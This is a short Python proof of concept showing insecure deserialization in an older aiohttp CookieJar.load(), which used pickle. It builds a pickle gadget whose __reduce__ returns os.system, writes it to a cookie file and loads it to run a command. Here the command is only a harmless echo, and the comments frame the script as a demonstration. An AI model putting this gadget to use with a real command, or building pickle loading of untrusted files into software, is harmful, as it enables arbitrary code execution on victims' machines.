Vulnerable code sample

import aiohttp
import pickle
import os

# This example represents how an older, vulnerable version of aiohttp
# could be exploited. The vulnerability lies in the fact that
# `CookieJar.load()` used Python's `pickle` module, which is unsafe
# when loading data from untrusted sources.

# A malicious file path
MALICIOUS_COOKIE_FILE = "malicious_cookies.dat"

# This class is designed to execute a command when it is unpickled.
class ArbitraryCodeExecutor:
    def __reduce__(self):
        # The __reduce__ method is called during the unpickling process.
        # It returns a callable (os.system) and its arguments.
        # This will execute a shell command on the victim's machine.
        command = 'echo "--- PWNED: Arbitrary code executed via insecure deserialization ---"'
        return (os.system, (command,))

# --- Attacker's action ---
# An attacker crafts a malicious "cookie file" using pickle.
# This file, when loaded, will execute the command defined in __reduce__.
print(f"[*] Attacker: Creating malicious cookie file '{MALICIOUS_COOKIE_FILE}'...")
with open(MALICIOUS_COOKIE_FILE, "wb") as f:
    pickle.dump(ArbitraryCodeExecutor(), f)
print("[*] Attacker: Malicious file created.")


# --- Vulnerable Application ---
# The application loads a cookie file, which it trusts implicitly.
# An attacker has managed to replace this file with their malicious version.
print("\n[*] Victim: Application is starting...")
print("[*] Victim: Loading cookies from file...")

try:
    # In a vulnerable version, this `load` call uses pickle internally.
    vulnerable_cookie_jar = aiohttp.CookieJar()
    
    # This is the vulnerable function call that triggers the exploit.
    vulnerable_cookie_jar.load(MALICIOUS_COOKIE_FILE)

    print("[*] Victim: Cookie loading process finished.")
except Exception as e:
    # The code execution may happen before an exception is even raised.
    print(f"[!] Victim: An error occurred during loading: {e}")
finally:
    # Clean up the malicious file.
    if os.path.exists(MALICIOUS_COOKIE_FILE):
        os.remove(MALICIOUS_COOKIE_FILE)
        print(f"\n[*] Cleanup: Removed '{MALICIOUS_COOKIE_FILE}'.")